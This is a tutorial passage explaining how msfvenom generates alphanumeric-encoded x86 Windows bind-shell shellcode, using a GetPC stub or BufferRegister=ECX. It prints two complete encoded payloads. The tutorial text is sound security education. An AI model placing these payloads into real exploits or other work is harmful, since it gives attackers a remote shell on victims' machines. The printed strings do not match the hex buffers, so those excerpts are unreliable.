Alphanumeric Shellcode

There are cases where you need to obtain a pure alphanumeric shellcode because of character filtering in the exploited application. The Metasploit Framework can easily generate alphanumeric shellcode through Msfvenom. For example, to generate a mixed alphanumeric uppercase- and lowercase-encoded shellcode, we can use the following command:

root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -e x86/alpha_mixed -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 660 (iteration=0)
x86/alpha_mixed chosen with final size 660
Payload size: 660 bytes
buf =  ""
buf += "\x89\xe2\xdb\xc3\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x68\x68\x4f"
buf += "\x72\x67\x70\x45\x50\x65\x50\x73\x50\x4b\x39\x69\x75"
buf += "\x70\x31\x69\x50\x51\x74\x6e\x6b\x42\x70\x54\x70\x6c"
buf += "\x4b\x53\x62\x76\x6c\x4c\x4b\x33\x62\x75\x44\x4c\x4b"
buf += "\x43\x42\x47\x58\x54\x4f\x6c\x77\x42\x6a\x55\x76\x44"
buf += "\x71\x69\x6f\x6c\x6c\x57\x4c\x43\x51\x43\x4c\x77\x72"
buf += "\x34\x6c\x65\x70\x39\x51\x4a\x6f\x56\x6d\x66\x61\x6b"
buf += "\x77\x48\x62\x6b\x42\x62\x72\x50\x57\x4e\x6b\x72\x72"
buf += "\x54\x50\x4e\x6b\x62\x6a\x57\x4c\x4e\x6b\x62\x6c\x37"
buf += "\x61\x63\x48\x4d\x33\x42\x68\x33\x31\x38\x51\x42\x71"
buf += "\x6e\x6b\x56\x39\x47\x50\x47\x71\x6b\x63\x6c\x4b\x32"
buf += "\x69\x52\x38\x4b\x53\x35\x6a\x51\x59\x6c\x4b\x50\x34"
buf += "\x4c\x4b\x45\x51\x6b\x66\x35\x61\x49\x6f\x6c\x6c\x79"
buf += "\x51\x78\x4f\x46\x6d\x77\x71\x49\x57\x35\x68\x79\x70"
buf += "\x34\x35\x4c\x36\x57\x73\x73\x4d\x59\x68\x67\x4b\x73"
buf += "\x4d\x56\x44\x70\x75\x48\x64\x31\x48\x6e\x6b\x50\x58"
buf += "\x54\x64\x43\x31\x6b\x63\x35\x36\x6c\x4b\x76\x6c\x72"
buf += "\x6b\x4e\x6b\x70\x58\x35\x4c\x43\x31\x78\x53\x4e\x6b"
buf += "\x36\x64\x4c\x4b\x65\x51\x6a\x70\x4c\x49\x53\x74\x66"
buf += "\x44\x75\x74\x31\x4b\x71\x4b\x45\x31\x61\x49\x63\x6a"
buf += "\x30\x51\x49\x6f\x39\x70\x63\x6f\x63\x6f\x72\x7a\x6c"
buf += "\x4b\x55\x42\x68\x6b\x6e\x6d\x43\x6d\x55\x38\x37\x43"
buf += "\x76\x52\x43\x30\x57\x70\x63\x58\x52\x57\x63\x43\x74"
buf += "\x72\x63\x6f\x62\x74\x65\x38\x50\x4c\x44\x37\x77\x56"
buf += "\x54\x47\x39\x6f\x49\x45\x68\x38\x6a\x30\x73\x31\x35"
buf += "\x50\x67\x70\x75\x79\x68\x44\x70\x54\x52\x70\x72\x48"
buf += "\x74\x69\x4f\x70\x50\x6b\x63\x30\x39\x6f\x4e\x35\x71"
buf += "\x7a\x34\x4b\x70\x59\x56\x30\x68\x62\x59\x6d\x73\x5a"
buf += "\x65\x51\x72\x4a\x57\x72\x71\x78\x5a\x4a\x36\x6f\x59"
buf += "\x4f\x4b\x50\x79\x6f\x39\x45\x6f\x67\x50\x68\x77\x72"
buf += "\x37\x70\x57\x61\x73\x6c\x6d\x59\x4b\x56\x73\x5a\x34"
buf += "\x50\x52\x76\x33\x67\x30\x68\x49\x52\x49\x4b\x50\x37"
buf += "\x32\x47\x79\x6f\x68\x55\x6b\x35\x79\x50\x70\x75\x33"
buf += "\x68\x63\x67\x50\x68\x6d\x67\x78\x69\x45\x68\x79\x6f"
buf += "\x59\x6f\x39\x45\x33\x67\x65\x38\x62\x54\x58\x6c\x45"
buf += "\x6b\x39\x71\x6b\x4f\x69\x45\x66\x37\x6e\x77\x52\x48"
buf += "\x70\x75\x52\x4e\x52\x6d\x71\x71\x69\x6f\x58\x55\x62"
buf += "\x4a\x55\x50\x43\x5a\x73\x34\x70\x56\x70\x57\x31\x78"
buf += "\x33\x32\x4e\x39\x48\x48\x53\x6f\x79\x6f\x38\x55\x6d"
buf += "\x53\x7a\x58\x55\x50\x53\x4e\x46\x4d\x6e\x6b\x77\x46"
buf += "\x30\x6a\x33\x70\x33\x58\x43\x30\x46\x70\x55\x50\x77"
buf += "\x70\x51\x46\x53\x5a\x77\x70\x71\x78\x31\x48\x6f\x54"
buf += "\x51\x43\x59\x75\x4b\x4f\x59\x45\x6c\x53\x61\x43\x62"
buf += "\x4a\x65\x50\x31\x46\x36\x33\x61\x47\x30\x68\x77\x72"
buf += "\x79\x49\x49\x58\x31\x4f\x79\x6f\x6e\x35\x6e\x63\x38"
buf += "\x78\x55\x50\x61\x6e\x76\x67\x53\x31\x58\x43\x36\x49"
buf += "\x39\x56\x43\x45\x59\x79\x4f\x33\x41\x41"

If you look deeper at the generated shellcode, you will see that there are some non-alphanumeric characters:

>>> print buf
�����w�[SYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lZHnbuPgpc0QpmYxe4qO0atLK2pFPNkpRFlLKv2gdn
kbRq8DOMgbjev4qKOLlGLCQ3LwrtlgPiQzotMs1O7irkBF2aGLK3bfpNk2j7LlKrlFq3HZCrhvan1SankbyupUQhSnkQYDXzCEjriNkttlKC
1kffQIonLiQZo4MeQIWvXyprUzVTCSMxxWK1mVDD5KT68LK68dd31kcE6LKVl2klKcheLuQN3Nkc4LK6ajpoyG4gTWTQK1K0a2yCj3aIoKP1
OqORzLKVrxkLMQM2H5c7B30wp2H47CC7BqO1Dqx0LPwuv6g9oxUoHz06a305P5yO4QDrpu8UyopRKwpKOxUBJdKaIv0zBKM1zWq0jdB1xKZf
oYOypyoKeMGPhDBC0gaCloyxfcZb0V6cgCX8B9K07E7IozunekpsE2xpWbHh78iehioyohUQGbHqdjLGKhaiokepWLW3XpubN0MpaiojucZg
prJ5TQF1GCXtByIZhQOkO9EosZX30Qn4mLK5fpjqPu8wp6p30uPBvpjC0SX3hMt3ciuYoiEOcQC0jc0Sf633gu8eR9IzhsoIoxUK38xEPand
GWq8CuyxFSE8iySAA

This is due to the opcodes (“\x89\xe2\xdb\xdb\xd9\x72”) at the beginning of the payload, which are needed in order to find the payloads absolute location in memory and obtain a fully position-independent shellcode:

Once our shellcode address is obtained through the first two instructions, it is pushed onto the stack and stored in the ECX register, which will then be used to calculate relative offsets. However, if we are somehow able to obtain the absolute position of the shellcode on our own and save that address in a register before running the shellcode, we can use the special option BufferRegister=REG32 while encoding our payload:

root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -e x86/alpha_mixed BufferRegister=ECX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 651 (iteration=0)
x86/alpha_mixed chosen with final size 651
Payload size: 651 bytes
buf =  ""
buf += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41"
buf += "\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
buf += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
buf += "\x6c\x49\x78\x4d\x52\x77\x70\x47\x70\x47\x70\x35\x30"
buf += "\x6e\x69\x49\x75\x44\x71\x79\x50\x42\x44\x6c\x4b\x72"
buf += "\x70\x74\x70\x6e\x6b\x50\x52\x34\x4c\x6c\x4b\x43\x62"
buf += "\x57\x64\x6c\x4b\x33\x42\x56\x48\x74\x4f\x6d\x67\x72"
buf += "\x6a\x45\x76\x46\x51\x79\x6f\x6c\x6c\x75\x6c\x71\x71"
buf += "\x63\x4c\x43\x32\x36\x4c\x75\x70\x79\x51\x7a\x6f\x36"
buf += "\x6d\x33\x31\x48\x47\x38\x62\x39\x62\x56\x32\x43\x67"
buf += "\x6c\x4b\x62\x72\x52\x30\x6c\x4b\x63\x7a\x57\x4c\x6c"
buf += "\x4b\x32\x6c\x54\x51\x63\x48\x4a\x43\x37\x38\x33\x31"
buf += "\x6e\x31\x42\x71\x4e\x6b\x62\x79\x55\x70\x37\x71\x7a"
buf += "\x73\x6e\x6b\x50\x49\x76\x78\x78\x63\x55\x6a\x47\x39"
buf += "\x6e\x6b\x45\x64\x6e\x6b\x55\x51\x4a\x76\x64\x71\x69"
buf += "\x6f\x4e\x4c\x7a\x61\x78\x4f\x54\x4d\x36\x61\x79\x57"
buf += "\x74\x78\x79\x70\x74\x35\x68\x76\x35\x53\x51\x6d\x38"
buf += "\x78\x75\x6b\x31\x6d\x56\x44\x31\x65\x59\x74\x56\x38"
buf += "\x4c\x4b\x33\x68\x55\x74\x75\x51\x4e\x33\x73\x56\x4c"
buf += "\x4b\x76\x6c\x52\x6b\x4c\x4b\x66\x38\x65\x4c\x63\x31"
buf += "\x4b\x63\x6e\x6b\x64\x44\x6e\x6b\x35\x51\x6e\x30\x4c"
buf += "\x49\x73\x74\x61\x34\x31\x34\x73\x6b\x73\x6b\x75\x31"
buf += "\x70\x59\x72\x7a\x36\x31\x4b\x4f\x79\x70\x53\x6f\x61"
buf += "\x4f\x63\x6a\x4e\x6b\x35\x42\x68\x6b\x4e\x6d\x61\x4d"
buf += "\x61\x78\x34\x73\x56\x52\x55\x50\x53\x30\x53\x58\x63"
buf += "\x47\x33\x43\x74\x72\x51\x4f\x66\x34\x75\x38\x50\x4c"
buf += "\x43\x47\x55\x76\x54\x47\x6b\x4f\x6e\x35\x4e\x58\x5a"
buf += "\x30\x53\x31\x43\x30\x75\x50\x36\x49\x38\x44\x42\x74"
buf += "\x52\x70\x73\x58\x35\x79\x6f\x70\x72\x4b\x45\x50\x69"
buf += "\x6f\x49\x45\x70\x6a\x74\x4b\x72\x79\x42\x70\x4b\x52"
buf += "\x79\x6d\x31\x7a\x65\x51\x73\x5a\x65\x52\x73\x58\x38"
buf += "\x6a\x64\x4f\x59\x4f\x59\x70\x79\x6f\x59\x45\x4a\x37"
buf += "\x50\x68\x46\x62\x67\x70\x67\x61\x61\x4c\x4f\x79\x6b"
buf += "\x56\x53\x5a\x74\x50\x71\x46\x43\x67\x63\x58\x7a\x62"
buf += "\x39\x4b\x70\x37\x53\x57\x69\x6f\x4a\x75\x4b\x35\x6b"
buf += "\x70\x54\x35\x72\x78\x46\x37\x52\x48\x6d\x67\x6a\x49"
buf += "\x54\x78\x69\x6f\x39\x6f\x5a\x75\x31\x47\x51\x78\x62"
buf += "\x54\x48\x6c\x75\x6b\x79\x71\x79\x6f\x4a\x75\x43\x67"
buf += "\x6a\x37\x43\x58\x42\x55\x72\x4e\x52\x6d\x31\x71\x6b"
buf += "\x4f\x4a\x75\x30\x6a\x75\x50\x71\x7a\x44\x44\x70\x56"
buf += "\x63\x67\x51\x78\x65\x52\x59\x49\x49\x58\x61\x4f\x79"
buf += "\x6f\x5a\x75\x4b\x33\x6c\x38\x45\x50\x43\x4e\x54\x6d"
buf += "\x4e\x6b\x46\x56\x52\x4a\x53\x70\x31\x78\x53\x30\x76"
buf += "\x70\x37\x70\x55\x50\x46\x36\x42\x4a\x65\x50\x52\x48"
buf += "\x51\x48\x6d\x74\x33\x63\x38\x65\x39\x6f\x6e\x35\x5a"
buf += "\x33\x52\x73\x63\x5a\x75\x50\x42\x76\x46\x33\x43\x67"
buf += "\x63\x58\x74\x42\x48\x59\x7a\x68\x73\x6f\x39\x6f\x78"
buf += "\x55\x4f\x73\x69\x68\x65\x50\x73\x4e\x64\x47\x45\x51"
buf += "\x6a\x63\x34\x69\x6a\x66\x72\x55\x4d\x39\x49\x53\x41"
buf += "\x41"

This time we obtained a pure alphanumeric shellcode:

>>> print buf
IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLIxk2GpC0wpapk9IufQ9PpdLKF0dpLKSbvlNkQBB4LKcBq8dOlwrjUvV
QYoNLulU1SL32Tlq0zaXO4M6ahGKRIbCbrwNkf2vplK3zElNkrlR1D88cRhfaKaRqlKaIa05Q9Cnksy4XzCdzBiNk5dlKgqn6dqYoLl9QzoF
mgqyWgHIpPuzV4CsMjXwKQmUtt5M4BxNk1HUtEQzs56nkFl0KLKaHGlGqzslKwtlKGqJpK9PDTd7TCkckqq693jCaIom0sosobznkr2Xknma
MBHVSTrc0C0BHqgcCDr3oaDu8RlBW16c7KOXULxZ0S1C05PQ9jdqDrp3XEyOpBKgpyo9Eqz6kbyV08bIm2JfaqzTBU8zJ4OkoYpIohUz72HF
bePVqSlNi8fbJTPv6Rw0hJbKkVWRGioKeLEIP1ev81GRHMgM9vXkO9oHUqGBHadZL5k9qKO8UbwlWaxaerNrm0aIon51zwp1zfdaFV7u8eRJ
yxHaOkO8UNc8xS0SNTmLKFVazqPsX5PfpS0EPaFazUP2HbxOTbsIu9ozunsf3pj30Sf1CbwbH32HYhHQOKOjuos8xuPQnUWwq8Cti9V1eIyZ
cAA

In this case, we told msfencode that we took care of finding the shellcodes absolute address and we saved it in the ECX register:

As you can see in the previous image, ECX was previously set in order to point to the beginning of our alphanumeric shellcode. At this point, our payload starts directly realigning ECX to begin the shellcode decoding sequence.